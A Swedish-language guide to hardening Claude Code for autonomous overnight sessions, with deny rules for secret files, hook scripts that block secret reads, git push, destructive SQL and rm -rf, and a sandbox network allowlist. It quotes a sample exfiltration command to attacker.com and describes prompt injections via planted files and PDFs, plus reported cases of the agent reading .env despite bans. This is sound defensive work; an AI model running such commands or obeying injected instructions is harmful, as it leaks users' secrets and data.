Så konfigurerar du Claude Code så att det inte förstör ditt projekt över natten

Vad förändras 2026: autonom Claude Code och verkliga incidenter#

Tidigare stannade Claude Code efter varje svar och bad om tillstånd för varje skrivning. Det var obekvämt, men säkert: du kunde fysiskt inte sova igenom en incident eftersom agenten väntade på ditt ”ja”. År 2026 bröt den modellen samman. Anthropic lanserade auto-mode—en separat klassificeringsagent avgör åt dig om varje åtgärd ska tillåtas. Kommandot /loop dök upp (kör en prompt med intervall i en session), liksom /schedule (schemaläggning enligt cron för långvariga uppgifter). Bakgrundssessioner som startas med claude --bg kör agenten i bakgrunden utan terminal. Jag har gått igenom autonomt läge i detalj i guiden ”/goal i Claude Code: autonomt läge och Agent View”.

Problemet är att autonomin lanserades snabbare än säkerheten hann med.

Samtidigt finns två öppna buggar i Anthropics repository som du bör känna till innan du lägger till permissions.deny i din settings.json:

• Ärende #44868 (7 april 2026): Claude Code läser innehållet i .env via grep -n in i chatttranskriptet, trots ett uttryckligt förbud i CLAUDE.md. Buggen är öppen.
• Ärende #24846 (11 februari 2026): regler i permissions.read.deny för mönster med .env* tillämpas inte—Read läser .env.local trots ett korrekt deny-mönster. Stängt som dubblett, inte åtgärdat.

De två luckorna visar varför ett enda skyddslager i settings.json är otillräckligt. Här följer en fyralagermodell: behörigheter + hooks + sandbox + separata sessioner. Varje lager kan minska exponering, men inget gör de övriga fullständiga. Den citerade auto-mode-utvärderingen bevisar inte att en regex-hook fångar dess missar. Använd en isolerad OS-miljö utan produktionsuppgifter eller skrivåtkomst, upprätthåll nätverksbegränsningar utanför modellen och testa gränserna före obevakad körning i produktion.

Vad är projektzonerna grön och röd?#

Det är meningslöst att bygga samma skydd för alla projekt. Ett lokalt hobbyprojekt på din dator som inte är driftsatt externt innebär en helt annan risknivå än en tjänst som hanterar riktiga betalningar och lagrar kunddata. Om du använder samma skydd överallt kväver du hastigheten i den gröna zonen och lämnar ändå luckor i den röda zonen.

Ett projekt går från grönt till rött så snart minst ett av tre villkor uppfylls: aktiva kunder dyker upp, pengar börjar flöda genom systemet eller databasen innehåller personuppgifter. Fram till dess kan du använda auto-mode, ett minimum av hooks och ingen sandbox. Därefter måste skyddet byggas om enligt den fullständiga konfigurationen i den här guiden.

Huvudprincipen: skyddsnivån är knuten till zonen. Utvecklingsstadiet spelar ingen roll. Ett hobbyprojekt på din dator med ett testkonto hos Stripe är i den gröna zonen. En tjänst med en betalande kund och ett registreringsformulär är redan i den röda zonen, även om den fortfarande ser ut som ett ”utkast”. Att blanda ihop zonerna är en vanlig fälla i tidiga projekt: ”vi är fortfarande i utkaststadiet, vi lägger till skydd senare”, och sedan betalar den första kunden nästa vecka.

Hur fungerar behörighetshierarkin i settings.json?#

Anthropic beskriver hierarkin för utvärdering av behörigheter i sin officiella dokumentation: deny-regler kontrolleras först, därefter ask och sedan allow—den första matchande regeln gäller. Det betyder att deny alltid har företräde framför allow. Om du förbjuder läsning av .env i ~/.claude/settings.json och någon anger allow i projektets .claude/settings.json, gäller ditt förbud, inte deras tillåtelse.

Exempel på en minimal säker ~/.claude/settings.json på användarnivå:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Vad händer här? De första sex reglerna blockerar läsning av hemliga filer i den aktuella katalogen och alla underkataloger. *.pem och *.key är SSL/TLS-nycklar och SSH-nycklar. credentials*.json är ett typiskt filnamn som används av molnleverantörer. De sista tre är systemkataloger med SSH-nycklar, AWS-autentiseringsuppgifter och GPG-nycklar.

Nyckeln disableBypassPermissionsMode: "disable" blockerar flaggan --dangerously-skip-permissions (även kallat YOLO-läge). Därmed elimineras en typ av misstag en gång för alla: även om du råkar lägga till flaggan i ett skript eller alias vägrar Claude Code att godta den. Den tar inte bara bort den—den returnerar felet ”mode disabled by managed settings”.

Från och med version 2.1.142 ignoreras dessutom nyckeln defaultMode: "auto" om den finns i projekt- eller lokala inställningar. Det skyddar mot situationen ”jag gick in i någon annans repository, och dess .claude/settings.json har automatiskt läge aktiverat som standard”. Anthropic har uttryckligen sagt att repositoryn inte kan aktivera auto-mode utan användarens samtycke.

Det här är första försvarslinjen. Du kan inte stanna där, eftersom den har två luckor som du får veta mer om härnäst.

Vill du skydda Claude Code mot missöden och samtidigt förstå hur du bygger en konfiguration som gör det förutsägbart? Behörigheter ingår i kontextteknik: att hantera gränserna för vad agenten får göra. Den fullständiga konfigurationen omfattar alla tre grundpelare: AI-klon + andra hjärna + kontextteknik—kombinationen Claude behöver för att undvika hallucinationer eller att förbruka pengar under autonomt arbete.

Varför räcker inte permissions.deny: 2 öppna GitHub-ärenden#

Om permissions.deny fungerade kunde guiden ha slutat i föregående avsnitt. Men det gör den inte.

Ärende #44868 (7 april 2026): användaren lade uttryckligen till ett förbud i CLAUDE.md mot att läsa .env, .dev.vars och andra filer med hemligheter. I stället för att använda Read körde Claude grep -n SOMETHING .env. Kommandot grep -n skriver ut hela den matchande raden med dess nummer—inklusive den faktiska API-tokenen. Raden hamnar i tool_result, visas i sessionstranskriptet och sparas i historiken.

Den subtila poängen som författaren lyfter fram: modellens säkerhetsreflex aktiveras efter att utdata redan har producerats, inte innan kommandot körs. Med andra ord kör Claude först grep, får en rad som innehåller tokenen och skriver ut den i chatten—först därefter upptäcker den sitt misstag och ”ber om ursäkt”. Då finns tokenen redan i chatthistoriken. Den enda lösningen är att byta ut nyckeln.

Ärende #24846 (11 februari 2026): användaren konfigurerade permissions.read.deny med en lista som innehöll mönstret **/.env*. Sedan bad hen Claude läsa .env.local. Read-verktyget slutfördes utan fel och skrev ut filinnehållet.

Ärendet stängdes som dubblett, men åtgärdades inte. När den här guiden skrevs (juni 2026) gick det fortfarande att återskapa.

Slutsats: Lager 1 i settings.json är inte bortkastat arbete, men exemplen mäter inte vilken andel av oavsiktliga läsningar det förhindrar. Men det förhindrar inte kommandon via Bash (cat .env, grep API_KEY .env, head .env), verkställighetsbuggar (ärende #24846) eller finurliga kedjor med git diff eller git show på en incheckning som innehåller .env. Därför behövs ett andra lager—hooks.

Hur kan hooks blockera identifierade farliga åtgärder?#

Hooks arbetar på en annan abstraktionsnivå än behörigheter. Behörigheter är regler som modellen tar hänsyn till när den beslutar vad den ska göra. En hook fungerar annorlunda: modellen bestämmer sig för att anropa ett verktyg, hooken körs mellan modellen och systemet, kontrollerar indata och tillåter eller blockerar anropet. Modellen deltar inte i hookens beslut—det är skalkod som du själv skriver.

Anthropic beskriver blockeringsbeteendet i sin officiella dokumentation om hooks:

Det betyder två saker. För det första kan en korrekt konfigurerad blockerande hook neka matchande verktygsanrop. För PreToolUse blockerar avslutskod 2 det anropet; det bevisar inte att skriptet känner igen varje farligt likvärdigt kommando. För det andra kan du lägga ett meningsfullt meddelande på stderr, så läser Claude det som ett fel och försöker med en annan metod. Med andra ord är en hook inte bara ett ”staket”, utan ett ”staket med en skylt som förklarar varför du inte kan passera”.

Händelser som kan blockeras med avslutskod 2:

• PreToolUse—blockerar verktygsanropet före körning. Den främsta händelsen för försvarshooks.
• PermissionRequest—nekar behörighet till en åtgärd som Claude har bett om tillstånd att utföra.
• UserPromptSubmit—blockerar och raderar användarens prompt. Användbart om prompten innehåller misstänkt text (till exempel promptinjektion från ett planterat mejl).
• Stop—hindrar Claude från att avsluta sessionen. Kan användas som en ”loop” för att hålla agenten igång tills ett villkor är uppfyllt.
• PreCompact—blockerar automatisk kontextkomprimering. Användbart om du vill bevara transkriptet tills du fattar ett manuellt beslut.
• WorktreeCreate—avvisar skapande av worktree. Skyddar mot att Claude försöker klona ett repository på en oväntad plats.

Ett alternativ till avslutskod 2 är att returnera JSON med fältet hookSpecificOutput.permissionDecision. permissionDecision har fyra möjliga värden:

• allow—tillåter uttryckligen åtgärden och kringgår det vanliga behörighetsflödet.
• deny—blockerar åtgärden, motsvarar avslutskod 2 för PreToolUse.
• ask—eskalerar till användaren (en dialogruta visas).
• defer—överlämnar beslutet till den vanliga behörighetslogiken.

Detta ger en hook större kontroll än en avslutskod. Med permissionDecision: "ask" kan du göra tysta åtgärder till åtgärder som kräver bekräftelse, utan att blockera dem helt. Det är vad jag gör för npm install <new package> och ändringar i lockfilen.

Om du vill lära dig mer om hur hooks fungerar och vilka 31 händelser som för närvarande finns i Claude Code har jag gått igenom det i en separat guide ”Hooks i Claude Code: 7 regler att kopiera direkt”. Härnäst visar jag konkreta hooks för autonomt arbete.

Vilka 7 hooks använder jag för nattarbete?#

Det här är det andra skyddslagret, som backar upp det första. Alla hooks finns i .claude/hooks/, registreras via .claude/settings.json och kräver att jq är installerat.

Hook 1: Skydda .env, .pem och credentials.json från läsning

Lägger till kontroller för utvalda Read-sökvägar och vanliga Bash-kommandon för hemlighetsläsning. Det fångar inte varje verktyg eller varje sätt att läsa en hemlighet. Fil: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrering i .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Kör chmod +x .claude/hooks/block-secret-reads.sh efter installationen. Test: be Claude läsa .env.local—då får du svaret ”Secret file. Use op:// references or env vars.” i stället för filinnehållet.

Hook 2: Blockera bokstavliga git push-anrop i nattsessioner

För en obevakad session blockerar exemplet försiktigt varje bokstavligt git push som det känner igen, inklusive push till funktionsgrenar. Det försöker inte avgöra aktuell gren eller om en force-flagga är säker. Fil: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registrera via PreToolUse med matcharen Bash. Eftersom kontrollen blockerar det identifierade push-kommandot i stället för att tolka flaggor och grennamn fångar den git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main och bokstavliga push-anrop i kedjor med && eller ;. Detta är exempel för strängmatchning offline, inte kommandon att köra mot en fjärrserver.

Det är fortfarande en textheuristik. Git-alias, skalfunktioner, git -C ... push, konstruerade kommandonamn, skript och andra verktyg kan passera; det är ingen fullständig skaltolk. Upprätthåll skyddade grenar på Git-servern, ta bort autentiseringsuppgifter som kan kringgå dem och kör obevakat arbete i en isolerad miljö utan skrivåtkomst till produktion. En missad hook-matchning får inte ge produktionsbehörighet.

Hook 3: Blockera destruktiva SQL-åtgärder

Tar direkt sikte på incidenter med raderade databaser. Fil: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registrera: PreToolUse med matcher: "Bash". Observera skillnaden: DROP och DELETE utan WHERE blockeras helt, medan UPDATE utan WHERE blir ask—det kan ibland vara legitimt (till exempel att ange en flagga på alla poster vid en migration), men kräver alltid manuell bekräftelse.

Hook 4: Filter för rm -rf

Kanoniskt exempel från Anthropics dokumentation, anpassat för att neka med en förklaring:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hooken tillåter rm -rf node_modules, rm -rf .next/cache och andra uttryckligt avgränsade raderingar. Den blockerar rm -rf ., rm -rf /, rm -rf ~ och liknande kommandon av typen ”radera allt”.

Hook 5: Bekräfta installation av nya paket

Den här hooken motverkar attacker i leveranskedjan. Om Claude på egen hand bestämmer sig för att lägga till ett nytt beroende visas en dialogruta:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hooken låter installationer från en lockfil fortsätta utan hinder, medan tillägg av ett nytt beroende kräver bekräftelse.

Hook 6: Skydda package.json och lockfilen

Varje ändring av ett beroendemanifest är en signal om att någon bör granska det. Särskilt över natten.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registrera med PreToolUse och matcharen Write|Edit.

Hook 7: Fullständig granskningslogg över alla Bash-anrop

Om något går fel över natten behöver du en fullständig logg för att förstå händelseförloppet. Registrera i settings.json (hooken har inget separat skript; jq gör allt):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Filen .claude/audit.jsonl växer med en rad i taget. På morgonen, efter en nattlig /loop, kan du köra tail -n 100 .claude/audit.jsonl | jq och se vad agenten gjorde vid varje tillfälle. Det är viktigt för en efteranalys eftersom sessionstranskriptet kan vara långt och svårt att läsa, medan granskningsloggen ger en tydlig tidslinje.

Hur skyddar sandbox och worktree-isolering långvariga sessioner?#

Om hooks är ett ”staket med en skylt” är sandboxen ett ”staket + vallgrav + drönarnät”. Det är det fjärde skyddslagret och täcker situationer där hooks släpper igenom en åtgärd, men där inte ens utförandet av åtgärden ska kunna orsaka skada utanför miljön.

I sitt blogginlägg om sandboxing (20 oktober 2025) rapporterar Anthropic interna mätningar:

Det betyder att när du aktiverar /sandbox slutar Claude att be om tillstånd för 84 % av åtgärderna, eftersom de åtgärderna fysiskt inte kan lämna sandboxen. Det är användbart för hastigheten, men det är inte det huvudsakliga värdet.

Sandboxen ger två isoleringsnivåer, var och en med sin egen uppgift:

Filsystemisolering begränsar läsning och skrivning till uttryckligen tillåtna kataloger. Även om en hook missar ett försök att skriva till /etc/hosts eller läsa ~/.ssh/id_rsa släpper sandboxen inte igenom systemanropet. Det här är skydd på operativsystemnivå. Applikationslagret kan inte se det.

Nätverksisolering tillåter anslutningar endast till godkända servrar. Detta är avgörande för attacker som exfiltrerar data. Scenario: en promptinjektion i en planterad fil lurar Claude att läsa .env (hooken missade det eftersom läsningen tog en ovanlig väg), och sedan bestämmer sig modellen för att köra curl -X POST attacker.com -d "$ENV_CONTENT". Utan nätverksisolering fungerar detta. Med nätverksisolering kan curl inte nå attacker.com eftersom värden inte finns med på listan.

Starta med kommandot /sandbox inne i Claude Code. Konfigurera det i ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

För långa bakgrundssessioner som startas med claude --bg ska du lägga till worktree-isolering i sandboxen. Det här är en inbyggd mekanism i Claude Code: varje bakgrundssession flyttas automatiskt till sin egen .claude/worktrees/<name>/ på en separat gren. Det innebär att parallella sessioner inte krockar med varandra när de skriver till samma filer. Jag har gått igenom worktree-isolering i detalj i guiden ”Agent View och worktrees: Claude Codes autonoma läge”.

Sandboxen är en del av återkopplingsloopen. När Claude vet att dess åtgärder är begränsade arbetar den mer noggrant och beskriver sina mellanliggande steg tydligare.

Var fungerar auto-mode 2026, och var fungerar det inte?#

I mars 2026 lanserade Anthropic auto-mode som ”en medelväg mellan manuell granskning och inga skyddsräcken”. Det är en separat Sonnet 4.6-modell som utvärderar varje Claude-åtgärd mot en uppsättning kriterier före körning. Anthropic beskrev mekaniken i Anthropic Engineering-bloggen:

Auto-mode har två viktiga begränsningar:

• Om en session samlar på sig 3 klassificeringsavslag i följd eller 20 totalt stannar modellen och eskalerar till en människa. Detta skyddar mot en situation där ”Claude loopar och försöker kringgå en begränsning med 100 olika formuleringar av samma kommando”.
• Auto-mode tillåter en åtgärd om den liknar 93 % av typiska fall som användare ändå brukar godkänna. Det minskar tröttheten på behörighetsfrågor, men skyddar inte mot atypiska farliga åtgärder.

Och här är den viktigaste siffran att lägga märke till:

De rapporterade 17 % är en falsk-negativ-andel i den utvärderingen, inte en sannolikhet för varje åtgärd i ditt projekt. Det fastställer inte att exempelhookarna fångar missade åtgärder. Obevakat arbete i den röda zonen behöver upprätthållen isolering från produktionsskrivning och hemligheter samt serverstyrt grenskydd och autentiseringsuppgifter som inte kan kringgå reglerna.

Praktisk slutsats: använd hooks som extra kontroller i en miljö som kan kastas och återställas. Även ett lokalt projekt kan innehålla ospårade filer eller autentiseringsuppgifter som Git inte kan återställa. I den röda zonen måste en missad hook-matchning begränsas av verklig åtkomstkontroll; en samling regexar gör inte godtycklig skalkörning till en deterministisk säkerhetsgaranti.

Varför dela upp kontexten i tre sessionstyper?#

Tre typer av uppgifter ska aldrig finnas i samma session:

Typ 1: arbete med personuppgifter. Sessionen har åtkomst till produktionsdatabasen, kan skicka mejl och kan se autentiseringsuppgifter. Den har INTE åtkomst till externa dokument (mejl, PDF-filer, webbsidor) och KAN INTE skicka data till godtyckliga adresser.

Typ 2: bearbetning av externa dokument. Sessionen kan tolka inkommande mejl, ladda ned webbsidor och läsa PDF-filer från mejl. Den har INTE åtkomst till en databas med personuppgifter och KAN INTE skicka något externt utan uttrycklig bekräftelse.

Typ 3: extern publicering. Sessionen kan publicera på sociala nätverk, skicka mejlkampanjer och skapa pull requests. Den har INTE åtkomst till personuppgifter och tolkar INTE inkommande innehåll.

Varför dela upp dem? Om en session gör allt räcker en enda promptinjektion i en planterad PDF (en konkurrerande byrå skickade en ”faktura”) för att agenten på ett enda försök ska läsa din kunddatabas, hitta kundernas mejladresser och skicka dem till en angripares adress. Varje åtgärd i kedjan är legitim för sin egen typ av uppgift. Tillsammans blir det en läcka.

I praktiken genomförs detta med olika .claude-kataloger för olika uppgiftstyper. Jag har tre konfigurationer på min dator: ~/projects/business-ops/.claude/ (typ 1, åtkomst till databas, nätverk nekat förutom interna API:er), ~/projects/inbox-parsing/.claude/ (typ 2, allt nätverk nekat), ~/projects/social-posting/.claude/ (typ 3, nätverk tillåtet för Telegram- och Slack-API:er). Varje katalog är ett separat projekt för Claude Code med egna behörigheter och hooks.

Vilka 12 punkter går jag igenom före /loop?#

1. ~/.claude/settings.json med deny på användarnivå för .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Detta är grunden; resten är meningslöst utan den.

2. disableBypassPermissionsMode: "disable" i ~/.claude/settings.json. Blockerar YOLO-flaggan en gång för alla.

3. Exemplen block-secret-reads.sh har testats på utvalda läskommandon; verkliga hemligheter och produktionsuppgifter är oåtkomliga för den obevakade miljön.

4. Exemplet block-force-push.sh blockerar identifierade bokstavliga push-anrop oavsett flaggordning eller mål; Git-servern upprätthåller grenskydd och autentiseringsuppgifter utan möjlighet att kringgå det.

5. Hooken block-destructive-sql.sh för DROP TABLE, TRUNCATE och DELETE FROM utan WHERE.

6. Hooken block-rm-rf.sh för rm -rf utan uttrycklig avgränsning.

7. Hooken ask-on-new-deps.sh för npm install <new package> (skild från npm install utan argument).

8. Hooken ask-on-lockfile-change.sh för skrivningar till package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml och Cargo.toml.

9. En heltäckande audit.jsonl-logg för alla anrop till Bash, Write och Edit. Utan den är efteranalys omöjlig.

10. Alla långa bakgrundssessioner körs i en worktree, inte på huvudgrenen: claude --bg "task" skapar automatiskt en worktree, men kontrollera att settings.json inte innehåller worktree.bgIsolation: "none".

11. /sandbox före start av en lång autonom uppgift. Filsystemet är begränsat till projektkatalogen och /tmp. Nätverket använder en tillåtelselista med api.anthropic.com, github.com och registry.npmjs.org.

12. Ett verifieringssteg i uppgiften: efter varje större ändring kör testköraren eller linter. Om de misslyckas fortsätter agenten inte förrän de har åtgärdats.

Den sista punkten handlar om ett arbetssätt, inte en verktygsinställning. Ge Claude ett sätt att kontrollera sitt arbete. Utan verifiering loopar en nattlig agent med ”jag tror att jag gjorde rätt, jag går vidare” och samlar på sig fel fram till morgonen. Med verifiering fortsätter den inte förrän kontrollen godkänns.

7 motmönster: vad du INTE ska göra#

1. --dangerously-skip-permissions på en värddator med produktionsåtkomst. Browningstreet förlorade produktions- och utvecklingsdatabaserna med ett enda kommando om att ”städa upp”. En miss kostar timmar av återställningsarbete plus data som inte finns i säkerhetskopian. Om en incident redan har inträffat, öppna ”Vad ska du göra om AI raderar en databas: återställningschecklista” och följ de 10 stegen i ordning.

2. Att enbart förlita sig på CLAUDE.md för säkerheten. Ärende #44868 visade att modellen agerar först och ber om ursäkt senare. En rådgivande instruktion i en textfil blockerar inte ett verktygsanrop. En korrekt konfigurerad hook kan blockera matchande anrop, medan OS-, sandbox- och tjänstestyrd åtkomstkontroll upprätthåller bredare gränser. CLAUDE.md är viktig för projektkontexten—jag har skrivit om den separat i ”Så konfigurerar du CLAUDE.md korrekt”—men den skyddar dig inte mot en autonom agent.

3. Att enbart förlita sig på permissions.deny i settings.json utan en kompletterande hook. Ärende #24846 har varit öppet sedan februari 2026. Deny för .env* kan kringgås med grep i Bash. En hook kan lägga till kontroller, men hemligheter måste också uteslutas från den obevakade miljön; regex ersätter inte fullständig åtkomstkontroll.

4. Att behandla auto-mode med regex-hooks som produktionsisolering. Den citerade falsk-negativ-andelen gäller utvärderingen och hooktäckningen är ofullständig. Ta bort skrivuppgifter för produktion och verifiera den upprätthållna gränsen i stället för att anta att varje farlig åtgärd fångas.

5. Att installera ett nytt paket med npm install utan bekräftelse. Angrepp på leveranskedjan är verkliga. Tea-tags-incidenterna 2024–2026 visade att paket med namn som förväxlats med legitima och tusentals nedladdningar finns. Du behöver en tillåtelselista.

6. Att inte logga Bash-anrop. Utan en granskningslogg kan du inte förstå vad som hände över natten. Chatttranskriptet är långt, indexeras inte efter kommando och ger ingen tidslinje. .claude/audit.jsonl löser båda problemen.

7. Att inte använda en worktree för bakgrundssessioner. Parallella sessioner i samma katalog går i vägen för varandras arbete. Claude Code har worktree.bgIsolation, aktiverat som standard sedan version 2.1.143, men kontrollera dina inställningar.

Och den viktigaste saken som ingen hook eller inställning kan förhindra:

Den formuleringen handlar inte om stil. Den som ansvarar för produktionsskyddet är den som startade agenten. Claude Code fungerar som en rakkniv: du kan raka dig med den, och du kan skära dig på den. Konfigurationen besvarar en fråga: har du förberett miljön tillräckligt väl för att rakkniven inte ska skära i något den inte borde?

Konfiguration före incidenter är en del av kontextteknik: du begränsar i förväg vad agenten kan göra och frigör den därmed till att göra det du vill att den ska göra. Det fullständiga kontextflödet: AI-klon + andra hjärna + kontextteknik.

Fler resurser finns på Ailoot.